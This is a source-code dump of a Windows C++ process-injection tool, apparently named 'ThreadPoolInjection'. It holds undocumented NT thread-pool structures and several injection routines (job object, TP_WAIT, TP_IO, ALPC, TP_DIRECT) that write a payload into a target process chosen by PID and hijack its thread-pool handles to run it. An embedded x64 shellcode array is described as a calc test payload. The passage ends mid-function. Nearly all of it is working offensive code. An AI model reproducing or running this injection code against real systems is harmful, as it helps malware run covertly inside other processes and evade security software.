_TP_DIRECT Direct; 407 | void* File; 408 | volatile INT32 PendingIrpCount; 409 | INT32 __PADDING__[1]; 410 | } FULL_TP_IO, * PFULL_TP_IO; 411 | 412 | 413 | typedef struct _FULL_TP_ALPC 414 | { 415 | struct _TP_DIRECT Direct; 416 | struct _TPP_CLEANUP_GROUP_MEMBER CleanupGroupMember; 417 | void* AlpcPort; 418 | INT32 DeferredSendCount; 419 | INT32 LastConcurrencyCount; 420 | union 421 | { 422 | UINT32 Flags; 423 | UINT32 ExTypeCallback : 1; 424 | UINT32 CompletionListRegistered : 1; 425 | UINT32 Reserved : 30; 426 | }; 427 | INT32 __PADDING__[1]; 428 | } FULL_TP_ALPC, * PFULL_TP_ALPC; 429 | 430 | 431 | typedef struct _FULL_TP_JOB 432 | { 433 | struct _TP_DIRECT Direct; 434 | struct _TPP_CLEANUP_GROUP_MEMBER CleanupGroupMember; 435 | void* JobHandle; 436 | union 437 | { 438 | volatile int64_t CompletionState; 439 | int64_t Rundown : 1; 440 | int64_t CompletionCount : 63; 441 | }; 442 | struct _RTL_SRWLOCK RundownLock; 443 | } FULL_TP_JOB, * PFULL_TP_JOB; 444 | 445 | typedef VOID(NTAPI* PTP_ALPC_CALLBACK)( 446 | _Inout_ PTP_CALLBACK_INSTANCE Instance, 447 | _Inout_opt_ PVOID Context, 448 | _In_ PFULL_TP_ALPC Alpc 449 | ); 450 | 451 | 452 | typedef struct _FILE_IO_COMPLETION_INFORMATION 453 | { 454 | PVOID KeyContext; 455 | PVOID ApcContext; 456 | IO_STATUS_BLOCK IoStatusBlock; 457 | } FILE_IO_COMPLETION_INFORMATION, * PFILE_IO_COMPLETION_INFORMATION; 458 | 459 | 460 | typedef struct _FILE_COMPLETION_INFORMATION { 461 | HANDLE Port; 462 | PVOID Key; 463 | } FILE_COMPLETION_INFORMATION, * PFILE_COMPLETION_INFORMATION; 464 | 465 | 466 | typedef enum 467 | { 468 | FileReplaceCompletionInformation = 61 469 | } FILE_INFOCLASS; 470 | 471 | 472 | typedef struct _ALPC_PORT_ATTRIBUTES 473 | { 474 | unsigned long Flags; 475 | SECURITY_QUALITY_OF_SERVICE SecurityQos; 476 | unsigned __int64 MaxMessageLength; 477 | unsigned __int64 MemoryBandwidth; 478 | unsigned __int64 MaxPoolUsage; 479 | unsigned __int64 MaxSectionSize; 480 | unsigned __int64 MaxViewSize; 481 | unsigned __int64 MaxTotalSectionSize; 482 | ULONG DupObjectTypes; 483 | #ifdef _WIN64 484 | ULONG Reserved; 485 | #endif 486 | } ALPC_PORT_ATTRIBUTES, * PALPC_PORT_ATTRIBUTES; 487 | 488 | 489 | typedef struct _ALPC_PORT_ASSOCIATE_COMPLETION_PORT 490 | { 491 | PVOID CompletionKey; 492 | HANDLE CompletionPort; 493 | } ALPC_PORT_ASSOCIATE_COMPLETION_PORT, * PALPC_PORT_ASSOCIATE_COMPLETION_PORT; 494 | 495 | 496 | typedef struct _PORT_MESSAGE 497 | { 498 | union 499 | { 500 | struct 501 | { 502 | USHORT DataLength; 503 | USHORT TotalLength; 504 | } s1; 505 | ULONG Length; 506 | } u1; 507 | union 508 | { 509 | struct 510 | { 511 | USHORT Type; 512 | USHORT DataInfoOffset; 513 | } s2; 514 | ULONG ZeroInit; 515 | } u2; 516 | union 517 | { 518 | CLIENT_ID ClientId; 519 | double DoNotUseThisField; 520 | }; 521 | ULONG MessageId; 522 | union 523 | { 524 | SIZE_T ClientViewSize; 525 | ULONG CallbackId; 526 | }; 527 | } PORT_MESSAGE, * PPORT_MESSAGE; 528 | 529 | typedef struct _ALPC_MESSAGE { 530 | PORT_MESSAGE PortHeader; 531 | BYTE PortMessage[1000]; 532 | } ALPC_MESSAGE, * PALPC_MESSAGE; 533 | 534 | 535 | typedef struct _ALPC_MESSAGE_ATTRIBUTES 536 | { 537 | ULONG AllocatedAttributes; 538 | ULONG ValidAttributes; 539 | } ALPC_MESSAGE_ATTRIBUTES, * PALPC_MESSAGE_ATTRIBUTES; 540 | 541 | 542 | typedef struct _T2_SET_PARAMETERS_V0 543 | { 544 | ULONG Version; 545 | ULONG Reserved; 546 | LONGLONG NoWakeTolerance; 547 | } T2_SET_PARAMETERS, * PT2_SET_PARAMETERS; -------------------------------------------------------------------------------- /include/Utils.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include "FunctionPtrs.hpp" 7 | #include "Defs.hpp" 8 | 9 | HANDLE hijackProcessWorkerFactory(HANDLE processHandle); 10 | HANDLE hijackProcessTimerQueue(HANDLE processHandle); 11 | HANDLE hijackProcessIoPort(HANDLE processHandle); 12 | HANDLE hijackProcessHandle(_In_ HANDLE targetProcess, _In_ const wchar_t* handleTypeName, _In_ uint32_t desiredAccess); 13 | bool writePayloadIntoProcess(_In_ HANDLE hProcess, _In_ void* pPayload, _In_ size_t payloadSize, _Out_ void** pRemoteAddress); -------------------------------------------------------------------------------- /src/IoInject.cpp: -------------------------------------------------------------------------------- 1 | #include "../include/Injection.hpp" 2 | 3 | bool InjectViaJobCallback(_In_ HANDLE targetProcess, _In_ void* payloadAddress, _In_ HANDLE hIoPort) 4 | { 5 | NTSTATUS status = 0x00; 6 | void* remoteMemory = nullptr; 7 | HANDLE hJob = nullptr; 8 | PFULL_TP_JOB pFullTpJob = { 0 }; 9 | size_t regionSize = 0; 10 | JOBOBJECT_ASSOCIATE_COMPLETION_PORT completionPort = { 0 }; 11 | 12 | fnTpAllocJobNotification pTpAllocJobNotification = reinterpret_cast( 13 | GetProcAddress(GetModuleHandle(L"NTDLL.DLL"), "TpAllocJobNotification")); 14 | 15 | if (pTpAllocJobNotification == nullptr) { 16 | std::cerr << "failed to acquire function pointers.\n" 17 | << std::endl; 18 | return false; 19 | } 20 | 21 | hJob = CreateJobObjectA(NULL, "Urien's Job"); 22 | if (hJob == NULL) { 23 | WIN32_ERR(CreateJobObjectA); 24 | return false; 25 | } 26 | 27 | // this should fill the "FULL_TP_JOB" structure 28 | status = pTpAllocJobNotification( 29 | &pFullTpJob, 30 | hJob, 31 | payloadAddress, 32 | nullptr, 33 | nullptr 34 | ); 35 | 36 | if (status != ERROR_SUCCESS) { 37 | NTAPI_ERR(TpAllocJobNotification, status); 38 | return false; 39 | } 40 | 41 | remoteMemory = VirtualAllocEx( 42 | targetProcess, 43 | nullptr, 44 | sizeof(FULL_TP_JOB), 45 | MEM_COMMIT | MEM_RESERVE, 46 | PAGE_READWRITE 47 | ); 48 | 49 | if (remoteMemory == nullptr) { 50 | WIN32_ERR(VirtualAllocEx); 51 | return false; 52 | } 53 | 54 | // Write job callback struct 55 | if (!WriteProcessMemory( 56 | targetProcess, 57 | remoteMemory, 58 | pFullTpJob, 59 | sizeof(FULL_TP_JOB), 60 | nullptr 61 | )) { 62 | WIN32_ERR(WriteProcessMemory); 63 | return false; 64 | } 65 | 66 | // 67 | // We have to zero out the associated completion port first 68 | // 69 | if (!SetInformationJobObject(hJob, 70 | JobObjectAssociateCompletionPortInformation, 71 | &completionPort, 72 | sizeof(JOBOBJECT_ASSOCIATE_COMPLETION_PORT) 73 | )) { 74 | WIN32_ERR(SetInformationJobObject[1]); 75 | return false; 76 | } 77 | 78 | // 79 | // Associate completion port with payload 80 | // 81 | completionPort.CompletionKey = remoteMemory; 82 | completionPort.CompletionPort = hIoPort; 83 | 84 | if (!SetInformationJobObject(hJob, 85 | JobObjectAssociateCompletionPortInformation, 86 | &completionPort, 87 | sizeof(JOBOBJECT_ASSOCIATE_COMPLETION_PORT) 88 | )) { 89 | WIN32_ERR(SetInformationJobObject[2]); 90 | return false; 91 | } 92 | 93 | // 94 | // Queue IO packet to job object completion port 95 | // 96 | if (!AssignProcessToJobObject(hJob, GetCurrentProcess())) { 97 | WIN32_ERR(AssignProcessToJobObject); 98 | return false; 99 | } 100 | 101 | return true; 102 | } 103 | 104 | bool InjectViaTpWait(_In_ HANDLE targetProcess, _In_ void* payloadAddress, _In_ HANDLE hIoPort) 105 | { 106 | fnNtAssociateWaitCompletionPacket pNtAssociateWaitCompletionPacket = nullptr; 107 | PFULL_TP_WAIT pTpWait = nullptr; 108 | void* remoteTpWait = nullptr; 109 | void* remoteTpDirect = nullptr; 110 | HANDLE hEvent = nullptr; 111 | NTSTATUS status = ERROR_SUCCESS; 112 | 113 | pNtAssociateWaitCompletionPacket = reinterpret_cast( // locate this stub 114 | GetProcAddress(GetModuleHandleW(L"NTDLL.DLL"), "NtAssociateWaitCompletionPacket")); 115 | 116 | if (pNtAssociateWaitCompletionPacket == nullptr) { 117 | std::cerr << "{!!} Failed to get NtAssociateWaitCompletionPacket Function Pointer." << std::endl; 118 | return false; 119 | } 120 | 121 | // 122 | // Create a TP_WAIT structure that will trigger our callback once an asynchronous event 123 | // is interacted with, such as through SetEvent. 124 | // 125 | pTpWait = (PFULL_TP_WAIT)CreateThreadpoolWait( 126 | static_cast(payloadAddress), 127 | nullptr, 128 | nullptr 129 | ); 130 | 131 | if (pTpWait == nullptr) { 132 | WIN32_ERR(CreateThreadPoolWait); 133 | return false; 134 | } 135 | 136 | // 137 | // Allocate and write memory into the process for the TP_WAIT callback structure. 138 | // 139 | remoteTpWait = VirtualAllocEx( 140 | targetProcess, 141 | nullptr, 142 | sizeof(FULL_TP_WAIT), 143 | MEM_COMMIT | MEM_RESERVE, 144 | PAGE_READWRITE 145 | ); 146 | 147 | if (remoteTpWait == nullptr) { 148 | WIN32_ERR(VirtualAllocEx); 149 | return false; 150 | } 151 | 152 | if (!WriteProcessMemory(targetProcess, 153 | remoteTpWait, 154 | pTpWait, 155 | sizeof(FULL_TP_WAIT), 156 | nullptr 157 | )) { 158 | WIN32_ERR(WriteProcessMemory); 159 | return false; 160 | } 161 | 162 | // 163 | // Do the same for a TP_DIRECT structure. Note that this is a helper struct, 164 | // used to trigger the actual callback once an IO packet is sent. 165 | // 166 | remoteTpDirect = VirtualAllocEx( 167 | targetProcess, 168 | nullptr, 169 | sizeof(TP_DIRECT), 170 | MEM_COMMIT | MEM_RESERVE, 171 | PAGE_READWRITE 172 | ); 173 | 174 | if (remoteTpDirect == nullptr) { 175 | WIN32_ERR(VirtualAllocEx); 176 | return false; 177 | } 178 | 179 | if (!WriteProcessMemory( 180 | targetProcess, 181 | remoteTpDirect, 182 | &pTpWait->Direct, 183 | sizeof(TP_DIRECT), 184 | nullptr 185 | )) { 186 | WIN32_ERR(WriteProcessMemory); 187 | return false; 188 | } 189 | 190 | // 191 | // Create event object 192 | // 193 | hEvent = CreateEventW(nullptr, FALSE, FALSE, L"Urien's Event Object"); 194 | if (hEvent == NULL) { 195 | WIN32_ERR(CreateEventW); 196 | return false; 197 | } 198 | 199 | status = pNtAssociateWaitCompletionPacket( 200 | pTpWait->WaitPkt, //< This Wait packet is associated with the shellcode 201 | hIoPort, //< Where to send this packet once event is signaled 202 | hEvent, //< The event object in question 203 | remoteTpDirect, //< The helper structure or "key" that gets looked at when a signal occurs 204 | remoteTpWait, //< The actual callback 205 | 0, 206 | 0, 207 | nullptr 208 | ); 209 | 210 | if (status != ERROR_SUCCESS) { 211 | NTAPI_ERR(NtAssociateWaitCompletionPacket, status); 212 | return false; 213 | } 214 | 215 | // 216 | // Queue the IO packet, triggering the callback 217 | // 218 | SetEvent(hEvent); 219 | return true; 220 | } 221 | 222 | bool InjectViaTpIo(_In_ HANDLE targetProcess, _In_ void* payloadAddress, _In_ HANDLE hIoPort) 223 | { 224 | wchar_t fullFilePath[MAX_PATH] = { 0 }; 225 | wchar_t tempPath[MAX_PATH] = { 0 }; 226 | HANDLE hFile = nullptr; 227 | PFULL_TP_IO pTpIo = nullptr; 228 | void* pRemoteTpIo = nullptr; 229 | IO_STATUS_BLOCK ioStatusBlock = { 0 }; 230 | NTSTATUS status = 0x00; 231 | uint32_t bytesWritten = NULL; 232 | OVERLAPPED overlapped = { 0 }; 233 | fnNtSetInformationFile pNtSetInformationFile = nullptr; 234 | FILE_COMPLETION_INFORMATION fileCompletionInfo = { 0 }; 235 | 236 | 237 | pNtSetInformationFile = reinterpret_cast(GetProcAddress( 238 | GetModuleHandleW(L"NTDLL.DLL"), "NtSetInformationFile")); 239 | 240 | if (pNtSetInformationFile == nullptr) { 241 | std::cerr << "{!!} Failed to get NtSetInformationFile Function Pointer." << std::endl; 242 | } 243 | 244 | // 245 | // Create a random file we can use 246 | // 247 | if (!GetTempPathW(MAX_PATH, tempPath)) { 248 | WIN32_ERR(GetTempPathW); 249 | return false; 250 | } 251 | 252 | if (!GetTempFileNameW(tempPath, L"UR", 0, fullFilePath)) { 253 | WIN32_ERR(GetTempFileNameW); 254 | return false; 255 | } 256 | 257 | hFile = CreateFileW( 258 | fullFilePath, 259 | GENERIC_READ | GENERIC_WRITE, 260 | FILE_SHARE_READ | FILE_SHARE_WRITE, 261 | nullptr, 262 | CREATE_ALWAYS, 263 | FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, 264 | nullptr 265 | ); 266 | 267 | if (hFile == INVALID_HANDLE_VALUE) { 268 | WIN32_ERR(CreateFileW); 269 | return false; 270 | } 271 | 272 | // 273 | // Create TP_IO structure for our callback. 274 | // Note: due to Microsoft's extreme retardation, the callback address 275 | // does not get instantiated correctly within the struct so we need to do it ourselves. 276 | // 277 | pTpIo = reinterpret_cast(CreateThreadpoolIo( 278 | hFile, 279 | static_cast(payloadAddress), 280 | nullptr, 281 | nullptr) 282 | ); 283 | 284 | if (pTpIo == nullptr) { 285 | WIN32_ERR(CreateThreadPoolIo); 286 | return false; 287 | } 288 | 289 | pTpIo->CleanupGroupMember.Callback = payloadAddress; 290 | ++(pTpIo->PendingIrpCount); 291 | 292 | // 293 | // Allocate TP_IO memory and write 294 | // 295 | pRemoteTpIo = VirtualAllocEx( 296 | targetProcess, 297 | nullptr, 298 | sizeof(FULL_TP_IO), 299 | MEM_COMMIT | MEM_RESERVE, 300 | PAGE_READWRITE 301 | ); 302 | 303 | if (pRemoteTpIo == nullptr) { 304 | WIN32_ERR(VirtualAllocEx); 305 | return false; 306 | } 307 | 308 | if (!WriteProcessMemory( 309 | targetProcess, 310 | pRemoteTpIo, 311 | pTpIo, 312 | sizeof(FULL_TP_IO), 313 | nullptr 314 | )) { 315 | WIN32_ERR(WriteProcessMemory); 316 | return false; 317 | } 318 | 319 | // 320 | // Associate the file with the target process' IO completion port. 321 | // Any interaction with the file will now send a packet to the completion port, triggering the callback. 322 | // 323 | fileCompletionInfo.Key = &(reinterpret_cast(pRemoteTpIo)->Direct); 324 | fileCompletionInfo.Port = hIoPort; 325 | 326 | status = pNtSetInformationFile( 327 | hFile, 328 | &ioStatusBlock, 329 | &fileCompletionInfo, 330 | sizeof(FILE_COMPLETION_INFORMATION), 331 | static_cast(61) 332 | ); 333 | 334 | if (status != ERROR_SUCCESS) { 335 | NTAPI_ERR(NtSetInformationFile, status); 336 | return false; 337 | } 338 | 339 | // 340 | // Trigger the callback via file interaction. 341 | // 342 | if (!WriteFile(hFile, 343 | MY_MESSAGE, 344 | sizeof(MY_MESSAGE), 345 | nullptr, 346 | &overlapped) 347 | && GetLastError() != ERROR_IO_PENDING) 348 | { 349 | WIN32_ERR(WriteFile); 350 | return false; 351 | } 352 | 353 | return true; 354 | } 355 | 356 | void _RtlInitUnicodeString(OUT PUNICODE_STRING UsStruct, IN OPTIONAL PCWSTR Buffer) 357 | { 358 | if ((UsStruct->Buffer = (PWSTR)Buffer)) { 359 | unsigned int Length = wcslen(Buffer) * sizeof(WCHAR); 360 | if (Length > 0xfffc) { // 0xfffc is the maximum length permitted by Microsoft for this struct 361 | Length = 0xfffc; 362 | } 363 | 364 | UsStruct->Length = Length; 365 | UsStruct->MaximumLength = UsStruct->Length + sizeof(WCHAR); // Account for null terminator. 366 | } else { 367 | UsStruct->Length = UsStruct->MaximumLength = 0; 368 | } 369 | } 370 | 371 | bool InjectViaAlpc(_In_ HANDLE targetProcess, _In_ void* payloadAddress, _In_ HANDLE hIoPort) 372 | { 373 | fnNtAlpcConnectPort pNtAlpcConnectPort = nullptr; 374 | fnNtAlpcCreatePort pNtAlpcCreatePort = nullptr; 375 | fnTpAllocAlpcCompletion pTpAllocAlpcCompletion = nullptr; 376 | fnNtAlpcSetInformation pNtAlpcSetInformation = nullptr; 377 | 378 | NTSTATUS status = 0x00; 379 | HANDLE hRealApcPort = nullptr; 380 | HANDLE hTempApcPort = nullptr; 381 | PFULL_TP_ALPC pFullTpAlpc = nullptr; 382 | 383 | void* remoteTpAlpc = nullptr; 384 | std::string alpcMessageString = MY_MESSAGE; 385 | 386 | UNICODE_STRING usAlpcPortName = { 0 }; 387 | OBJECT_ATTRIBUTES objectAttributes = { 0 }; 388 | ALPC_PORT_ATTRIBUTES alpcPortAttributes = { 0 }; 389 | OBJECT_ATTRIBUTES clientAlpcAttributes = { 0 }; 390 | 391 | // 392 | // Get function pointers 393 | // 394 | pNtAlpcCreatePort = reinterpret_cast( 395 | GetProcAddress(GetModuleHandleW(L"NTDLL.DLL"), "NtAlpcCreatePort")); 396 | pTpAllocAlpcCompletion = reinterpret_cast( 397 | GetProcAddress(GetModuleHandleW(L"NTDLL.DLL"), "TpAllocAlpcCompletion")); 398 | pNtAlpcSetInformation = reinterpret_cast( 399 | GetProcAddress(GetModuleHandleW(L"NTDLL.DLL"), "NtAlpcSetInformation")); 400 | pNtAlpcConnectPort = reinterpret_cast( 401 | GetProcAddress(GetModuleHandleW(L"NTDLL.DLL"), "NtAlpcConnectPort")); 402 | 403 | if (pNtAlpcCreatePort == nullptr || pTpAllocAlpcCompletion == nullptr || pNtAlpcSetInformation == nullptr || pNtAlpcConnectPort == nullptr) { 404 | std::cerr << "{!!} Failed to get ALPC-related function pointers." << std::endl; 405 | return false; 406 | } 407 | 408 | // 409 | // Create ALPC object 410 | // 411 | status = pNtAlpcCreatePort( 412 | &hTempApcPort, 413 | nullptr, 414 | nullptr 415 | ); 416 | 417 | if (status != ERROR_SUCCESS) { 418 | NTAPI_ERR(NtAlpcCreatePort, status); 419 | return false; 420 | } 421 | 422 | // 423 | // Create ALPC callback structure 424 | // 425 | status = pTpAllocAlpcCompletion( 426 | &pFullTpAlpc, 427 | hTempApcPort, 428 | static_cast(payloadAddress), 429 | nullptr, 430 | nullptr 431 | ); 432 | 433 | if (status != ERROR_SUCCESS) { 434 | NTAPI_ERR(TpAllocAlpcCompletion, status); 435 | return false; 436 | } 437 | 438 | // 439 | // Create Second Port 440 | // 441 | _RtlInitUnicodeString(&usAlpcPortName, L"\\RPC Control\\UriensApcPort"); 442 | 443 | objectAttributes.Length = sizeof(OBJECT_ATTRIBUTES); 444 | objectAttributes.ObjectName = &usAlpcPortName; 445 | 446 | alpcPortAttributes.Flags = 0x20000; 447 | alpcPortAttributes.MaxMessageLength = 328; 448 | 449 | status = pNtAlpcCreatePort(&hRealApcPort, 450 | &objectAttributes, 451 | &alpcPortAttributes); 452 | 453 | if (status != ERROR_SUCCESS) { 454 | NTAPI_ERR(NtAlpcCreatePort, status); 455 | return false; 456 | } 457 | 458 | // 459 | // Copy ALPC callback struct into target process 460 | // 461 | remoteTpAlpc = VirtualAllocEx( 462 | targetProcess, 463 | nullptr, 464 | sizeof(FULL_TP_ALPC), 465 | MEM_COMMIT | MEM_RESERVE, 466 | PAGE_READWRITE 467 | ); 468 | 469 | if (remoteTpAlpc == nullptr) { 470 | WIN32_ERR(VirtualAllocEx); 471 | return false; 472 | } 473 | 474 | if (!WriteProcessMemory( 475 | targetProcess, 476 | remoteTpAlpc, 477 | pFullTpAlpc, 478 | sizeof(FULL_TP_ALPC), 479 | nullptr 480 | )) { 481 | WIN32_ERR(WriteProcessMemory); 482 | return false; 483 | } 484 | 485 | // 486 | // Associate the process' IO completion port with our ALPC object 487 | // 488 | ALPC_PORT_ASSOCIATE_COMPLETION_PORT alpcAssocCompletionPort = { 0 }; 489 | alpcAssocCompletionPort.CompletionKey = remoteTpAlpc; 490 | alpcAssocCompletionPort.CompletionPort = hIoPort; 491 | 492 | status = pNtAlpcSetInformation( 493 | hRealApcPort, 494 | 2, 495 | &alpcAssocCompletionPort, 496 | sizeof(ALPC_PORT_ASSOCIATE_COMPLETION_PORT) 497 | ); 498 | 499 | if (status != ERROR_SUCCESS) { 500 | NTAPI_ERR(NtAlpcSetInformation, status); 501 | } 502 | 503 | // 504 | // Now we "only" need to send a message to the ALPC object, 505 | // which is still INSANELY annoying to do. 506 | // 507 | clientAlpcAttributes.Length = sizeof(OBJECT_ATTRIBUTES); 508 | ALPC_MESSAGE clientAlpcMessage = { 0 }; 509 | clientAlpcMessage.PortHeader.u1.s1.DataLength = alpcMessageString.length(); 510 | clientAlpcMessage.PortHeader.u1.s1.TotalLength = sizeof(PORT_MESSAGE) + alpcMessageString.length(); 511 | 512 | std::copy(alpcMessageString.begin(), alpcMessageString.end(), clientAlpcMessage.PortMessage); 513 | size_t clientAlpcMessageSize = sizeof(clientAlpcMessage); 514 | 515 | // 516 | // if a timeout for the ALPC connection is not specified, it will infinitely block. 517 | // 518 | LARGE_INTEGER timeout = { 0 }; 519 | timeout.QuadPart = -10000000; 520 | 521 | // 522 | // Initiate the ALPC port connection and send IO packet 523 | // 524 | HANDLE outHandle = nullptr; 525 | status = pNtAlpcConnectPort( 526 | &outHandle, 527 | &usAlpcPortName, 528 | &clientAlpcAttributes, 529 | &alpcPortAttributes, 530 | 0x20000, 531 | nullptr, 532 | (PPORT_MESSAGE)&clientAlpcMessage, 533 | &clientAlpcMessageSize, 534 | nullptr, 535 | nullptr, 536 | &timeout 537 | ); 538 | 539 | if (status != ERROR_SUCCESS && status != STATUS_TIMEOUT) { 540 | NTAPI_ERR(NtAlpcConnectPort, status); 541 | return false; 542 | } 543 | 544 | return true; 545 | } 546 | 547 | bool InjectViaTpDirect(_In_ HANDLE targetProcess, _In_ void* payloadAddress, _In_ HANDLE hIoPort) 548 | { 549 | TP_DIRECT direct = { 0 }; 550 | void* remoteTpDirect = nullptr; 551 | fnNtSetIoCompletion pNtSetIoCompletion = nullptr; 552 | NTSTATUS status = ERROR_SUCCESS; 553 | direct.Callback = payloadAddress; 554 | 555 | // 556 | // Allocate remote memory for the TP_DIRECT structure 557 | // 558 | 559 | remoteTpDirect = VirtualAllocEx( 560 | targetProcess, 561 | nullptr, 562 | sizeof(TP_DIRECT), 563 | MEM_COMMIT | MEM_RESERVE, 564 | PAGE_READWRITE 565 | ); 566 | 567 | if (remoteTpDirect == nullptr) { 568 | WIN32_ERR(VirtualAllocEx); 569 | return false; 570 | } 571 | 572 | if (!WriteProcessMemory( 573 | targetProcess, 574 | remoteTpDirect, 575 | &direct, 576 | sizeof(TP_DIRECT), 577 | nullptr 578 | )) { 579 | WIN32_ERR(WriteProcessMemory); 580 | return false; 581 | } 582 | 583 | pNtSetIoCompletion = reinterpret_cast( 584 | GetProcAddress(GetModuleHandleW(L"NTDLL.DLL"), "NtSetIoCompletion")); 585 | if (pNtSetIoCompletion == nullptr) { 586 | std::cerr << "{!!} Failed to get NtSetIoCompletion function pointer." << std::endl; 587 | return false; 588 | } 589 | 590 | // 591 | // Trigger malicious callback 592 | // 593 | status = pNtSetIoCompletion(hIoPort, remoteTpDirect, 0, 0, 0); 594 | if (status != ERROR_SUCCESS) { 595 | NTAPI_ERR(NtSetIoCompletion, status); 596 | return false; 597 | } 598 | 599 | return true; 600 | } 601 | -------------------------------------------------------------------------------- /src/Main.cpp: -------------------------------------------------------------------------------- 1 | #include "../include/Main.hpp" 2 | 3 | int wmain(int argc, wchar_t** argv) 4 | { 5 | if (argc < 4) { 6 | std::cout 7 | << "Useage: \n" 8 | << "1: [Target Process PID]\n" 9 | << "2: [Injection Type] - Options: \"/ioport\", \"/timer\", \"/workerfactory\"\n\n" 10 | << "3: [Subtypes] - Options: \n\t{\"work\", \"startroutine\"}: for /workerfactory\n" 11 | << "\t{\"wait\", \"jobobject\", \"alpc\", \"direct\", \"tpio\"}: for /ioport\n" 12 | << "\t{\"tptimer\"}: for /timer\n" 13 | << "\nEXAMPLE: ThreadPoolInjection.exe 3314 /ioport alpc\n"; 14 | return EXIT_SUCCESS; 15 | } 16 | 17 | HandleHijackClass handleType; 18 | const std::wstring pidStr = argv[1]; 19 | const std::wstring injType = argv[2]; 20 | const std::wstring injSubtype = argv[3]; 21 | 22 | if (injType == L"/ioport") { 23 | handleType = TpIoPort; 24 | } else if (injType == L"/timer") { 25 | handleType = TpTimer; 26 | } else if (injType == L"/workerfactory") { 27 | handleType = TpWorkerFactory; 28 | } else { 29 | std::wcerr << L"\n{!!} Invalid Command Line Argument Supplied: " << argv[2] << std::endl; 30 | return EXIT_FAILURE; 31 | } 32 | 33 | uint32_t thePID = 0; 34 | try { 35 | thePID = std::stoul(pidStr); 36 | } catch (...) { 37 | std::wcerr << L"\n{!!} Invalid PID Supplied: " << argv[1] << std::endl; 38 | return EXIT_FAILURE; 39 | } 40 | 41 | Process targetProcess(thePID, handleType); 42 | if (!targetProcess.init()) { 43 | return EXIT_FAILURE; 44 | } 45 | 46 | if (wcscmp(argv[3], L"startroutine") != 0) { 47 | if (!targetProcess.injectShellcode()) { 48 | return EXIT_FAILURE; 49 | } 50 | } 51 | 52 | bool succeeded = false; 53 | if (injSubtype == L"startroutine") { 54 | succeeded = targetProcess.ProcessWorkerFactoryInject(); 55 | } else if (injSubtype == L"work") { 56 | succeeded = targetProcess.ProcessWorkInject(); 57 | } else if (injSubtype == L"alpc") { 58 | succeeded = targetProcess.ProcessAlpcInject(); 59 | } else if (injSubtype == L"direct") { 60 | succeeded = targetProcess.ProcessTpDirectInject(); 61 | } else if (injSubtype == L"jobobject") { 62 | succeeded = targetProcess.ProcessJobInject(); 63 | } else if (injSubtype == L"tpio") { 64 | succeeded = targetProcess.ProcessTpIoInject(); 65 | } else if (injSubtype == L"wait") { 66 | succeeded = targetProcess.ProcessWaitInject(); 67 | } else if (injSubtype == L"tptimer") { 68 | succeeded = targetProcess.ProcessTimerInject(); 69 | } else { 70 | std::wcerr << L"\n{!!} Invalid Injection Subtype Sent: " << argv[3] << std::endl; 71 | return EXIT_FAILURE; 72 | } 73 | 74 | if (!succeeded) { 75 | return EXIT_FAILURE; 76 | } 77 | 78 | std::cout << "{+} Finished successfully." << std::endl; 79 | return EXIT_SUCCESS; 80 | } 81 | -------------------------------------------------------------------------------- /src/Process.cpp: -------------------------------------------------------------------------------- 1 | #include "../include/Process.hpp" 2 | 3 | // Calc payload for testing. We'll inject this 4 | unsigned char Shellcode[] = { 5 | 0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51, 6 | 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 7 | 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72, 8 | 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 9 | 0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 10 | 0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 11 | 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 12 | 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44, 13 | 0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 14 | 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 15 | 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1, 16 | 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44, 17 | 0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 18 | 0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 19 | 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59, 20 | 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41, 21 | 0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48, 22 | 0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 23 | 0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5, 24 | 0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF, 25 | 0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 26 | 0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89, 27 | 0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00 28 | }; 29 | 30 | bool Process::injectShellcode() 31 | { 32 | if (!isInitialized) 33 | return false; 34 | 35 | return 